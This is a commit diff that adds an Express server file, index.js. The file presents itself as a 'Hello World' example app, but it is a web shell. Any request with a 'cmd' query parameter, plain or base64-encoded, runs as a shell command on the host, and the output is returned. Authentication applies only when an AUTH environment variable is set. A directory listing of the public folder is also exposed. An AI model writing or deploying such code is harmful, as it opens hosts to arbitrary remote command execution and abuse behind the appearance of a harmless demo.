Create index.js
Browse files
index.js
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import express from 'express'
|
| 2 |
+
import dotenv from 'dotenv'
|
| 3 |
+
import { exec } from 'child_process'
|
| 4 |
+
import serveIndex from 'serve-index'
|
| 5 |
+
const app = express()
|
| 6 |
+
|
| 7 |
+
app.use(express.json())
|
| 8 |
+
dotenv.config()
|
| 9 |
+
|
| 10 |
+
app.use('/dir', serveIndex("public", {'icons': true}))
|
| 11 |
+
app.use(express.static('public'));
|
| 12 |
+
let index = 0
|
| 13 |
+
app.all('/', (req, res) => {
|
| 14 |
+
const { cmd, auth } = req.query
|
| 15 |
+
if (cmd) {
|
| 16 |
+
const base64Regex = /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/; // Stricter Base64 regex
|
| 17 |
+
|
| 18 |
+
if (process.env.AUTH) {
|
| 19 |
+
if (!auth || process.env.AUTH != auth) return res.send("Invalid auth code")
|
| 20 |
+
}
|
| 21 |
+
const decodedCmd = base64Regex.test(cmd) ? atob(cmd) : cmd
|
| 22 |
+
exec("cd public && " + decodedCmd, (error, stdout, stderr) => {
|
| 23 |
+
if (error) {
|
| 24 |
+
res.status(500).send({ error: stderr.toString() }); // Send error with status code
|
| 25 |
+
} else {
|
| 26 |
+
res.send(stdout.toString());
|
| 27 |
+
}
|
| 28 |
+
});
|
| 29 |
+
return
|
| 30 |
+
}
|
| 31 |
+
res.send('Hello World!\ntotal req ' + index)
|
| 32 |
+
index++
|
| 33 |
+
})
|
| 34 |
+
const port = process.env.PORT || process.env.SERVER_PORT || 7860
|
| 35 |
+
app.listen(port, () => {
|
| 36 |
+
console.log(`Example app listening on port ${port}`)
|
| 37 |
+
})
|